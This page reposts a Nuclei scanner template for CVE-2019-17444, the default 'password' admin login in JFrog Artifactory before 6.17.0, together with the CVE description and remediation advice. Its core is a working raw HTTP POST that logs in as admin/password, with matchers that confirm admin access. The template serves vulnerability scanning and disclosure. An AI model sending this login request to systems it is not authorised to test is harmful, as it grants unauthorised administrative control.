CVE-2019-17444: Jfrog Artifactory <6.17.0 - Default Admin Password

2025-08-01 Jfrog Artifactory PoC Public

Description

Jfrog Artifactory prior to 6.17.0 uses default passwords (such as "password") for administrative accounts and does not require users to change them. This may allow unauthorized network-based attackers to completely compromise of Jfrog Artifactory.

PoC

id: CVE-2019-17444

info:
  name: Jfrog Artifactory <6.17.0 - Default Admin Password
  author: pdteam
  severity: critical
  description: |
    Jfrog Artifactory prior to 6.17.0 uses default passwords (such as "password") for administrative accounts and does not require users to change them. This may allow unauthorized network-based attackers to completely compromise of Jfrog Artifactory.
  impact: |
    An attacker can gain unauthorized access to the Jfrog Artifactory instance.
  remediation: |
    Upgrade Jfrog Artifactory to version 6.17.0 or later and change the default admin password to a strong, unique one.
  reference:
    - https://www.jfrog.com/confluence/display/JFROG/Artifactory+Release+Notes
    - https://www.jfrog.com/confluence/display/JFROG/JFrog+Artifactory
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17444
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-17444
    cwe-id: CWE-521
    epss-score: 0.69445
    epss-percentile: 0.99325
    cpe: cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: jfrog
    product: artifactory
    framework: "-"
    shodan-query: cpe:"cpe:2.3:a:jfrog:artifactory"
  tags: cve,cve2019,jfrog,default-login,vuln

http:
  - raw:
      - |
        POST {{path}}/ui/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{RootURL}}

        {"user":"admin","password":"password","type":"login"}

    attack: clusterbomb
    payloads:
      path:
        - ""
        - "/artifactory"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"name":"admin"'
          - '"admin":true'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205632ad4c8eba81adaf2b3e512608796f4bca95ef636e60e5018188373bdf1112022100bbcf982dbf840db940f5f16a40d76cd0af49d2c51501b342aabc3d8c8025df52:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-17444.yaml

References

Related Vulnerabilities